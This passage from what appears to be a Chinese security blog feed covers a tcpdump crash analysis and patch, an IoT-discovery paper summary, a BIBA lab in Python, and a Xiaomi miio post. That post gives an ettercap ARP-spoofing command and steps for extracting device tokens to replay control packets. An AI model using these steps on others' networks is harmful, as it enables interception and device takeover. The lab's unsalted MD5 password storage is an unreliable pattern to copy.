(void)printf(<span class="string">" %02x"</span>, *cp);</span><br><span class="line"><span class="number">22.</span> &#125;</span><br><span class="line">nshorts=(u_int) length / sizeof(u_short) =&gt; nshorts=<span class="number">0xfffffff3</span>/<span class="number">2</span>=<span class="number">7</span>FFFFFF9</span><br></pre></td></tr></table></figure><p>但数据包数据没有这么长导致了crash。</p><h3 id="内存分析"><a href="#内存分析" class="headerlink" title="内存分析"></a>内存分析</h3><p>仔细分析之后发现通过len判断的这个长度并没有进行控制如果是自己构造的一个超长len的数据包则会连续读取到不可估计的值。<br>通过查看epx的值来看一下这个内存到底开辟到什么位置<br><figure class="highlight dns"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>.gdb-peda$ x/<span class="number">10000000</span>x <span class="number">0</span>x81e33bd</span><br><span class="line"><span class="number">2</span>.<span class="number">0</span>x8203fdd: <span class="number">0x00000000</span> <span class="number">0x00000000</span> <span class="number">0x00000000</span> <span class="number">0x00000000</span></span><br><span class="line"><span class="number">3</span>.<span class="number">0</span>x8203fed: <span class="number">0x00000000</span> <span class="number">0x00000000</span> <span class="number">0x00000000</span> <span class="number">0x00000000</span></span><br><span class="line"><span class="number">4</span>.<span class="number">0</span>x8203ffd: Cannot access memory at address <span class="number">0x8204000</span></span><br></pre></td></tr></table></figure></p><p>可以看到到达0x 8204000附近的时候就是无法读取的无效地址了那么初始值为0x 81e33bd用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40因为ebx+ebp*2+0x1一次读取两个字节那么循环计数器就要除以2最后结果为0x 10620。<br>来看一下到达拒绝服务位置读取的长度EBX: 0x81e33bd &gt; 0x0EBP: 0x10621<br>EBP刚好为10621。正是不可读取内存空间的地址因此造成拒绝服务。</p><h3 id="漏洞总结"><a href="#漏洞总结" class="headerlink" title="漏洞总结"></a>漏洞总结</h3><p>总结一下整个漏洞触发过程首先tcpdump会读取恶意构造的pcap包在构造pcap包的时候设置一个超长的数据包长度tcpdump会根据len的长度去读取保存在内存空间数据包的内容当引用到不可读取内存位置时会由于引用不可读指针造成拒绝服务漏洞。</p><h2 id="漏洞修补"><a href="#漏洞修补" class="headerlink" title="漏洞修补"></a>漏洞修补</h2><p>Libpcap依然是apt安装的默认版本tcpdump使用4.7 .0-bp版本<br>在hex_and_ascii_print_with_offset中增加对caplength的判断<br><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">1.</span>caplength = (ndo-&gt;ndo<span class="emphasis">_snapend &gt;= cp) ? ndo-&gt;ndo_</span>snapend - cp : 0;</span><br><span class="line"><span class="bullet">2.</span>if (length &gt; caplength)</span><br><span class="line"><span class="bullet">3. </span>length = caplength;</span><br><span class="line"><span class="bullet">4.</span>nshorts = length / sizeof(u_short);</span><br><span class="line"><span class="bullet">5.</span>i = 0;</span><br><span class="line"><span class="bullet">6.</span>hsp = hexstuff; asp = asciistuff;</span><br><span class="line"><span class="bullet">7.</span>while (--nshorts &gt;= 0) &#123;</span><br><span class="line"><span class="bullet">8. </span>...</span><br><span class="line"><span class="bullet">9.</span>&#125;</span><br></pre></td></tr></table></figure></p><p>可以看到执行完caplength = (ndo-&gt;ndo_snapend &gt;= cp) ? ndo-&gt;ndo_snapend - cp : 0;caplength为0继续执行可以推出length同样为0到这里已经不会发生错误了。</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://www.exploit-db.com/exploits/39875/" target="_blank" rel="noopener">exploit-db payload</a><br><a href="https://whereisk0shl.top/post/2016-10-23-1" target="_blank" rel="noopener">WHEREISK0SHL分析博客</a><br><a href="https://github.com/the-tcpdump-group" target="_blank" rel="noopener">libpcap/tcpdump源码</a></p>]]></content>
<categories>
<category> 二进制 </category>
</categories>
<tags>
<tag> TCPDUMP </tag>
<tag> 拒绝服务攻击 </tag>
</tags>
</entry>
<entry>
<title>基于采集规则引擎的物联网设备发现方法</title>
<link href="/2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/"/>
<url>/2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/</url>
<content type="html"><![CDATA[<p><strong><em>论文来源:</em></strong>USENIX SECURITY 2018Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices<br><strong><em>下载:</em></strong><br><a href="https://www.usenix.org/conference/usenixsecurity18/presentation/feng" target="_blank" rel="noopener">原文pdf</a><br><a href="https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553314438/ARE/Rule-based_engine.pptx" target="_blank" rel="noopener">中文slides</a></p><h2 id="论文解读"><a href="#论文解读" class="headerlink" title="论文解读"></a>论文解读</h2><h3 id="概要:"><a href="#概要:" class="headerlink" title="概要:"></a>概要:</h3><ul><li>物联网IoT设备的快速增长的格局为其管理和安全性带来了重大的技术挑战因为这些物联网设备来自不同的设备类型供应商和产品模型。</li><li>物联网设备的发现是表征,监控和保护这些设备的先决条件。然而,手动设备注释阻碍了大规模发现,并且基于机器学习的设备分类需要具有标签的大型训练数据。因此,大规模的自动设备发现和注释仍然是物联网中的一个悬而未决的问题。</li><li>这篇文章提出了一种基于采集规则的引擎ARE它可以自动生成用于在没有任何训练数据的情况下发现和注释物联网设备的规则。ARE通过利用来自物联网设备的应用层响应数据和相关网站中的产品描述来构建设备规则以进行设备注释。我们将事务定义为对产品描述的唯一响应之间的映射。</li><li>为了收集交易集ARE提取响应数据中的相关术语作为抓取网站的搜索查询。ARE使用关联算法以类型供应商和产品的形式生成物联网设备注释的规则。我们进行实验和三个应用程序来验证ARE的有效性。</li></ul><h3 id="背景与动机:"><a href="#背景与动机:" class="headerlink" title="背景与动机:"></a>背景与动机:</h3><ul><li>物联网蓬勃发展造就了物联网设备的广泛应用它不仅种类繁多包括摄像头、打印机、路由器、电视盒子、工控系统、医疗设备等而且数量庞大据统计每天就会新增5500000台物联网设备。</li><li>但是由于设备脆弱、缺乏管理和配置不当物联网设备相比传统计算机要更不安全比如之前爆发的Mirai僵尸网络给美国造成了重大的损失。因此为了更主动地保护IOT设备提前发现、登记和注释物联网设备成为先决条件。</li><li>设备注释的内容通常为“设备类型(e.g.,routers) + 供应商(e.g.,CISCO) + 产品型号(e.g.,TV-IP302P)”,传统生成设备注释的方法有基于指纹的,也有使用标志获取的,前者对数据集和大量设备模型的要求很高,而后者需要专业知识的人工方式,因此不可能用于大规模注释而且很难去维护更新。</li></ul><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553313806/ARE/1.png" alt></p><p>所以作者希望提出一种减少对数据集和人工依赖的注释方式。本文的方法主要基于两个事实第一个Figure 1是制造商通常会将相关信息硬编码到IOT设备第二个Figure 2是有许多网站如产品测评会描述设备产品。从第一个事实我们可以从应用层数据包获取关键词然后根据这些关键词依据第二个事实进行网页爬虫以获取网页上的相关描述然后对这些描述进行自然语言处理和数据挖掘从而建立起基于规则的映射。</p><h3 id="核心工作—Rule-Miner"><a href="#核心工作—Rule-Miner" class="headerlink" title="核心工作—Rule Miner"></a>核心工作—Rule Miner</h3><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553313904/ARE/2.png" alt></p><p> Rule Miner由三个部分构成Transaction set是一对由应用层数据和相关网页组成的文本单元它生成了一种规则 其中A是从应用层数据包中提取的一些特征B是从相关网页抓取的设备描述Device entity recognition结合了基于语料库的NER和基于规则的NER(命名实体识别),前者解决了设备类型和供应商名,后者使用正则表达式识别出产品型号。但是由于一个不相干的网页也可能包含设备类型的关键词(如switch)以及一个短语可能因为满足正则表达式而被认为是型号所以表现并不好但好在实体与实体之间具有很高的依赖性这三个元素常常一起出现。数据挖掘算法Apriori algorithm用于从Transaction中学习“关系”。</p><h3 id="完整架构和应用"><a href="#完整架构和应用" class="headerlink" title="完整架构和应用"></a>完整架构和应用</h3><p> <img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553313904/ARE/4.png" alt></p><p>完整的ARE除了核心Rule Miner之外还有Transaction Collection用于收集响应数据和网络爬虫Rule Library用于存储生成的规则Planner用于更新规则。<br>作者主要将ARE应用于三个方面一是互联网范围的设备测量统计二是对受损设备进行检测三是对易受攻击的设备进行分析。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553313946/ARE/6.png" alt><br>之后对ARE的效果与Nmap进行比较和评估从产生规则的数量、规则的准确率和覆盖率、动态学习规则的能力以及时间代价ARE都要优于Nmap。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553313805/ARE/5.png" alt></p><h3 id="工作总结:"><a href="#工作总结:" class="headerlink" title="工作总结:"></a>工作总结:</h3><ul><li>提出ARE的框架不需要数据集和人工干预自动生成用于IOT设备识别的规则。</li><li>实现了ARE的原型并评估了它的效果ARE在一周内生成了大量的规则而且IOT设备识别的细粒度超过现有工具。</li><li>应用于三个场景中主要发现有大量IOT设备在互联网中可以抵达成千上万的IOT设备易受攻击且暴露给了公众。</li></ul>]]></content>
<categories>
<category> 顶会论文 </category>
</categories>
<tags>
<tag> USENIX </tag>
<tag> 数据挖掘 </tag>
<tag> 自然语言处理 </tag>
</tags>
</entry>
<entry>
<title>利用miio控制局域网内的小米智能设备</title>
<link href="/2018/12/15/miio-control/"/>
<url>/2018/12/15/miio-control/</url>
<content type="html"><![CDATA[<h1 id="控制局域网内的IOT设备"><a href="#控制局域网内的IOT设备" class="headerlink" title="控制局域网内的IOT设备"></a>控制局域网内的IOT设备</h1><h2 id="中间人攻击—流量分析"><a href="#中间人攻击—流量分析" class="headerlink" title="中间人攻击—流量分析"></a>中间人攻击—流量分析</h2><h3 id="使用Nmap分析局域网内设备得到智能设备的IP"><a href="#使用Nmap分析局域网内设备得到智能设备的IP" class="headerlink" title="使用Nmap分析局域网内设备得到智能设备的IP"></a>使用Nmap分析局域网内设备得到智能设备的IP</h3><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323434/miio/1.png" alt><br> 小米智能插座192.168.31.197 网关192.168.31.147控制它的手机ip</p><h3 id="ettercap嗅探智能设备和网关之间的流量"><a href="#ettercap嗅探智能设备和网关之间的流量" class="headerlink" title="ettercap嗅探智能设备和网关之间的流量"></a>ettercap嗅探智能设备和网关之间的流量</h3><p>sudo ettercap -i ens33 -T -q -M ARP:remote /192.168.31.197// /192.168.31.147//</p><h3 id="wireshark抓包分析"><a href="#wireshark抓包分析" class="headerlink" title="wireshark抓包分析"></a>wireshark抓包分析</h3><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323435/miio/2.png" alt><br>从图中可以看出设备的命令控制包为UDP传输既然是UDP协议传输那么是否可以通过命令包重放攻击来对设备进行控制<br>了解到在homeassistant中可实现对小米设备的集成并在其中对设备进行管理和操作。Homeassistant主要以Python语言开发既然它能操控小米设备那它底层肯定有相关的函数调用库。<br>为了可以消除对专有软件(米家app)的依赖并能控制自己的设备所以出现了MiIo。设备和米家app在同一局域网下使用的加密专有网络协议我们称之为MiIo协议。<br>Miio库支持的设备有<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323434/miio/3.png" alt></p><h2 id="小米IOT控制流程"><a href="#小米IOT控制流程" class="headerlink" title="小米IOT控制流程"></a>小米IOT控制流程</h2><p>在同一局域网中小米设备可以使用专有的加密UDP网络协议进行通信控制。在网络可达的前提下向小米设备发送hello bytes就可以获得含有token的结构体数据。之后构造相应的结构体并且以同样的方式发送给设备即可完成控制。具体流程如下<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323435/miio/4.png" alt></p><h2 id="设备Token的获取方式"><a href="#设备Token的获取方式" class="headerlink" title="设备Token的获取方式"></a>设备Token的获取方式</h2><p>小米设备的token获取有三种途径miio获取、从米家app获取、从数据库获取</p><h3 id="miio获取"><a href="#miio获取" class="headerlink" title="miio获取"></a>miio获取</h3><p>在ubuntu下先安装miio然后发现设备<br>npminstall -g miio<br>miiodiscover<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323440/miio/5.png" alt><br>但是很可惜很多设备隐藏了token使用该方法可能无法获取到token或获取到的token不正确。</p><h3 id="米家app获取"><a href="#米家app获取" class="headerlink" title="米家app获取"></a>米家app获取</h3><p>这种方法需要的mijia app版本较老且只对部分设备有效。</p><h3 id="从数据库获取token"><a href="#从数据库获取token" class="headerlink" title="从数据库获取token"></a>从数据库获取token</h3><p>这种方法仅在Mi Home 5.0.19之前的版本可用。<br>该方法是读取手机中米家的app中的数据记录来获取设备的token具体步骤如下</p><ul><li>准备一部获取root权限的安卓手机</li><li>安装米家app并登录账号</li><li>进入/data/data/com.xiaomi.smarthome/databases/</li><li>拷贝db下载到电脑</li><li><a href="http://miio2.yinhh.com/" target="_blank" rel="noopener">前往网站</a>上传db点击提交即可获得token。</li><li>8894c73cbd5c7224fb4b8a39e360c255<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323440/miio/6.png" alt></li></ul><h2 id="脚本控制IOT设备"><a href="#脚本控制IOT设备" class="headerlink" title="脚本控制IOT设备"></a>脚本控制IOT设备</h2><p>首先随意发送hellobytes获得时间和设备IDtoken我们自己设置然后构造发送的数据结构msgcmd中的method包括set_power(控制开关)、get_prop(获取状态)控制的params是[on]/ [off]获取状态的params是[power, temperature]<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323440/miio/7.png" alt><br>如果获得了token就能对小米的设备进行操作如图下面是返回的信息。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323440/miio/8.png" alt></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>从目前的智能家居市场来看,用户不会只使用单个智能设备厂商的设备,所以对于厂商来说,通过开放接口给用户一些局域网的控制“自由”,实现不同厂商设备的联动是一个不错的选择。<br>从另外一个角度本文中体现的安全问题我们也不容忽视。如果在局域网中不经过认证就能获取物联网设备的访问凭证并进而进行控制无形中给入侵者留了一扇门。例如攻击者可经过扫描互联网发现家庭路由器并利用弱口令或设备漏洞获得路由器的shell权限接下来就可按照文中步骤就可以获得设备token进而控制。好在小米已经在最新的miio版本中修复了这一漏洞大大提高了攻击者获取token的难度。</p>]]></content>
<categories>
<category> IOT </category>
</categories>
<tags>
<tag> 小米 </tag>
<tag> miio </tag>
<tag> 中间人 </tag>
<tag> 重放攻击 </tag>
</tags>
</entry>
<entry>
<title>利用python实现BIBA模型</title>
<link href="/2018/11/16/BIBA%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%A8%A1%E5%9E%8B%E5%AE%9E%E7%8E%B0(python)/"/>
<url>/2018/11/16/BIBA%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%A8%A1%E5%9E%8B%E5%AE%9E%E7%8E%B0(python)/</url>
<content type="html"><![CDATA[<h1 id="基于python语言的BIBA模型图形界面实现"><a href="#基于python语言的BIBA模型图形界面实现" class="headerlink" title="基于python语言的BIBA模型图形界面实现"></a>基于python语言的BIBA模型图形界面实现</h1><h2 id="实验目的:"><a href="#实验目的:" class="headerlink" title="实验目的:"></a>实验目的:</h2><ol><li><strong>查阅资料了解biba安全模型的相关知识</strong></li><li><strong>通过编程实现基于biba模型的完整性访问控制进一步掌握biba模型的规则</strong></li><li><strong>使用python语言实现熟练pyqt的图形界面设计方法</strong></li></ol><hr><h2 id="实验环境:"><a href="#实验环境:" class="headerlink" title="实验环境:"></a>实验环境:</h2><ul><li>操作系统Windows10</li><li>工具版本python3.7pyqt5</li></ul><hr><h2 id="实验原理:"><a href="#实验原理:" class="headerlink" title="实验原理:"></a>实验原理:</h2><h4 id="什么是安全模型"><a href="#什么是安全模型" class="headerlink" title="什么是安全模型"></a>什么是安全模型</h4><ul><li>系统的元素 <blockquote><p>具有行为能力的主体<br>不具有行为能力的客体</p></blockquote></li><li>系统的操作行为<blockquote><p>可以执行的命令:读、写、执行</p></blockquote></li><li>对系统行为的约束方式<blockquote><p>对行为的控制策略</p></blockquote></li><li>模型从抽象层次规定了系统行为和约束行为的方式</li><li>模型往往用状态来表示<blockquote><p>系统行为所依赖的环境<br>行为对系统产生的效果</p></blockquote><h4 id="biba完整性模型"><a href="#biba完整性模型" class="headerlink" title="biba完整性模型"></a>biba完整性模型</h4><ul><li>完整性威胁问题<blockquote><p>完整性的威胁就是一个子系统在初始时刻认为不正常的修改行为;<br>来源:内部&amp;外部;<br>类型:直接&amp;间接</p></blockquote></li></ul></li></ul><table><thead><tr><th>外部的直接</th><th>外部的间接</th><th>内部的直接</th><th>内部的间接</th></tr></thead><tbody><tr><td>外部系统恶意地篡改另一个系统的数据或程序</td><td>一个外部系统插入恶意的子程序</td><td>修改自己的代码</td><td>修改自己的指针</td></tr></tbody></table><ul><li>biba模型的完整性定义<blockquote><p>完整性级别高的实体对完整性低的实体具有完全的支配性,反之如果一个实体对另一个实体具有完全的控制权,说明前者完整性级别更高,这里的实体既可以是主体也可以是客体。<br>完整性级别和可信度有密切的关系,完整级别越高,意味着可信度越高。</p></blockquote></li><li>biba模型的规则 </li></ul><ul><li style="list-style: none"><input type="checkbox"> 对于写和执行操作,有如下规则:<blockquote><p><strong>写规则控制</strong><br>当且仅当主体S的完整性级别大于或等于客体O的完整性级别时主体S可以写客体O,一般称之为<strong>上写</strong>。<br><strong>执行操作控制</strong><br>当且仅当主体S2的完整性级别高于或等于S1,主体S1可以执行主体S2。 </p></blockquote></li><li style="list-style: none"><input type="checkbox"> 关于读操作,有不同的控制策略:<blockquote><p><strong>低水标模型</strong><br>任意主体可以读任意完整性级别的客体,但是如果主体读完整性级别比自己低的客体时,主体的完整性级别将为客体完整性级别,否则,主体的完整性级别保持不变。<br><strong>环模型</strong><br>不管完整性级别如何,任何主体都可以读任何客体<br><strong>严格完整性模型</strong><br>这个模型对读操作是根据主客体的完整性级别严格控制的,即只有完整性级别低或相等的主体才可以读完整性级别高的客体,称为<strong>下读</strong></p></blockquote></li></ul><p><strong>一般都是指毕巴严格完整性模型,总结来说是上写、下读</strong></p><hr><h2 id="实验内容:"><a href="#实验内容:" class="headerlink" title="实验内容:"></a>实验内容:</h2><h3 id="用户登录实现"><a href="#用户登录实现" class="headerlink" title="用户登录实现"></a>用户登录实现</h3><p><strong>核对用户输入的账户密码与存储的是否匹配</strong></p><p><img src="https://github.com/Cool-Y/BIBA-model/blob/master/img/login.PNG" alt="login"></p><ul><li>从用户输入框获取账户和密码</li><li>检查输入信息是否合法(为空)</li><li>从password.txt中获取并保存在列表listFromLine中</li><li>检查输入的账户是否存在</li><li>若存在,检查对应的密码是否正确</li><li><p>若正确,判断是管理员还是普通用户,并跳转相应的界面</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">checkPass</span><span class="params">(self)</span>:</span></span><br><span class="line"> nameIn = self.lineEdit.text()</span><br><span class="line"> passwdIn = self.lineEdit_2.text()</span><br><span class="line"> md5 = hashlib.md5()</span><br><span class="line"> md5.update(passwdIn.encode(<span class="string">"utf-8"</span>))</span><br><span class="line"> passwdIn = md5.hexdigest()</span><br><span class="line"> <span class="keyword">if</span> (nameIn == <span class="string">''</span>) <span class="keyword">or</span> (passwdIn == <span class="string">''</span>):</span><br><span class="line"> QMessageBox.warning(self,</span><br><span class="line"> <span class="string">"警告"</span>,</span><br><span class="line"> <span class="string">"账号和密码不能为空"</span>,</span><br><span class="line"> QMessageBox.Yes)</span><br><span class="line"> self.lineEdit.setFocus()</span><br><span class="line"> print(nameIn, passwdIn)</span><br><span class="line"> fr = open(<span class="string">'./etc/passwd.txt'</span>)</span><br><span class="line"> arrayofLines = fr.readlines()</span><br><span class="line"> numberofLines = len(arrayofLines)</span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> arrayofLines:</span><br><span class="line"> line = line.strip()</span><br><span class="line"> listFromLine = line.split(<span class="string">':'</span>)</span><br><span class="line"> name = listFromLine[<span class="number">0</span>]</span><br><span class="line"> <span class="keyword">if</span> name == nameIn:</span><br><span class="line"> numberofLines = <span class="number">-1</span></span><br><span class="line"> passwd = listFromLine[<span class="number">1</span>]</span><br><span class="line"> <span class="keyword">if</span> passwd == passwdIn:</span><br><span class="line"> group = listFromLine[<span class="number">2</span>]</span><br><span class="line"> print(<span class="string">"\n登录成功!\n"</span>)</span><br><span class="line"> <span class="keyword">if</span> name == <span class="string">'root'</span>:</span><br><span class="line"> print(<span class="string">'root登录'</span>)</span><br><span class="line"> rootUI.show()</span><br><span class="line"> MainWindow.close()</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> urName = nameIn</span><br><span class="line"> mainUI.lineEdit.setText(urName)</span><br><span class="line"> mainUI.lineEdit_2.setText(group)</span><br><span class="line"> mainUI.show()</span><br><span class="line"> MainWindow.close()</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> QMessageBox.warning(self,</span><br><span class="line"> <span class="string">"警告"</span>,</span><br><span class="line"> <span class="string">"密码错误!"</span>,</span><br><span class="line"> QMessageBox.Yes)</span><br><span class="line"> self.lineEdit.setFocus()</span><br><span class="line"> fr.close()</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span></span><br></pre></td></tr></table></figure></li></ul><hr><h3 id="管理员功能实现"><a href="#管理员功能实现" class="headerlink" title="管理员功能实现"></a>管理员功能实现</h3><p><strong>管理员可以对用户进行增、删、查的操作</strong></p><p><img src="https://github.com/Cool-Y/BIBA-model/blob/master/img/rootUI.PNG" alt="login"></p><h4 id="增加用户的实现"><a href="#增加用户的实现" class="headerlink" title="增加用户的实现"></a>增加用户的实现</h4><blockquote><ul><li>获取管理员输入的用户名、密码和用户等级</li><li>将明文密码转换为md5值</li><li>判断输入的账户是否已经存在以及是否为空</li><li>如果没有问题将其存入passwd.txt的末尾</li></ul></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">adduser</span><span class="params">(self)</span>:</span></span><br><span class="line"> print(<span class="string">'开始添加'</span>)</span><br><span class="line"> name = self.lineEdit_4.text()</span><br><span class="line"> passwd = self.lineEdit_6.text()</span><br><span class="line"> md5 = hashlib.md5()</span><br><span class="line"> md5.update(passwd.encode(<span class="string">"utf-8"</span>))</span><br><span class="line"> passwd = md5.hexdigest()</span><br><span class="line"> group = self.comboBox.currentText()</span><br><span class="line"> self.name = name</span><br><span class="line"> <span class="keyword">if</span> self.euxit():</span><br><span class="line"> <span class="keyword">if</span> name == <span class="string">''</span> <span class="keyword">or</span> passwd == <span class="string">''</span>:</span><br><span class="line"> QMessageBox.warning(self,</span><br><span class="line"> <span class="string">"警告"</span>,</span><br><span class="line"> <span class="string">"账号和密码不能为空"</span>,</span><br><span class="line"> QMessageBox.Yes)</span><br><span class="line"> self.lineEdit.setFocus()</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> cur_path = os.getcwd()</span><br><span class="line"> filename = cur_path + <span class="string">'/etc/passwd.txt'</span></span><br><span class="line"> fi = open(filename, <span class="string">'r+'</span>)</span><br><span class="line"> str = name + <span class="string">':'</span> + passwd + <span class="string">':'</span> + group + <span class="string">'\n'</span></span><br><span class="line"> print(<span class="string">'成功增加用户'</span> + str + <span class="string">'\n'</span>)</span><br><span class="line"> fi.seek(<span class="number">0</span>, <span class="number">2</span>)</span><br><span class="line"> fi.write(str)</span><br><span class="line"> fi.close()</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> QMessageBox.warning(self,</span><br><span class="line"> <span class="string">"警告"</span>,</span><br><span class="line"> <span class="string">"用户已存在"</span>,</span><br><span class="line"> QMessageBox.Yes)</span><br><span class="line"> self.lineEdit.setFocus()</span><br></pre></td></tr></table></figure><h4 id="查询已有用户的实现"><a href="#查询已有用户的实现" class="headerlink" title="查询已有用户的实现"></a>查询已有用户的实现</h4><blockquote><p>从passwd.txt中逐行读出</p></blockquote><p><img src="https://github.com/Cool-Y/BIBA-model/blob/master/img/existUser.PNG" alt="login"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">readuser</span><span class="params">(self)</span>:</span></span><br><span class="line"> print(<span class="string">'readuser'</span>)</span><br><span class="line"> cur_path = os.getcwd()</span><br><span class="line"> filename = cur_path + <span class="string">'/etc/passwd.txt'</span></span><br><span class="line"> fo = open(filename)</span><br><span class="line"> arrayofLines = fo.readlines()</span><br><span class="line"> names = <span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> arrayofLines:</span><br><span class="line"> line = line.strip()</span><br><span class="line"> listFromLine = line.split(<span class="string">':'</span>)</span><br><span class="line"> names = names + listFromLine[<span class="number">0</span>] + <span class="string">'\n'</span></span><br><span class="line"> self.textEdit.setPlaceholderText(names)</span><br></pre></td></tr></table></figure><h4 id="删除用户的实现"><a href="#删除用户的实现" class="headerlink" title="删除用户的实现"></a>删除用户的实现</h4><blockquote><p>从passwd.txt中逐行读出用户名并与待删除用户比较如果相同则删除该行</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">rmuser</span><span class="params">(self)</span>:</span></span><br><span class="line"> print(<span class="number">1</span>)</span><br><span class="line"> cur_path = os.getcwd()</span><br><span class="line"> filename = cur_path + <span class="string">'/etc/passwd.txt'</span></span><br><span class="line"> rmName = self.lineEdit.text()</span><br><span class="line"> <span class="keyword">with</span> open(filename, <span class="string">'r'</span>,encoding=<span class="string">"utf-8"</span>) <span class="keyword">as</span> r:</span><br><span class="line"> lines = r.readlines()</span><br><span class="line"> lenl = len(lines)</span><br><span class="line"> <span class="keyword">with</span> open(filename, <span class="string">'w'</span>,encoding=<span class="string">"utf-8"</span>) <span class="keyword">as</span> w:</span><br><span class="line"> <span class="keyword">for</span> line <span class="keyword">in</span> lines:</span><br><span class="line"> l = line.strip()</span><br><span class="line"> listFromLine = l.split(<span class="string">':'</span>)</span><br><span class="line"> <span class="keyword">if</span> rmName == listFromLine[<span class="number">0</span>]:</span><br><span class="line"> print(<span class="string">'删除用户'</span> + rmName)</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">if</span> line == <span class="string">'\n'</span>:</span><br><span class="line"> print(<span class="string">'find换行'</span>)</span><br><span class="line"> line = <span class="string">''</span></span><br><span class="line"> w.write(line)</span><br></pre></td></tr></table></figure><hr><h3 id="普通用户功能实现"><a href="#普通用户功能实现" class="headerlink" title="普通用户功能实现"></a>普通用户功能实现</h3><p><strong>普通用户可以完成对合法权限文件的读取、增加内容(上写下读)以及创建文件的操作</strong></p><p><img src="https://github.com/Cool-Y/BIBA-model/blob/master/img/normal.PNG" alt="login"></p><h4 id="读取文件内容"><a href="#读取文件内容" class="headerlink" 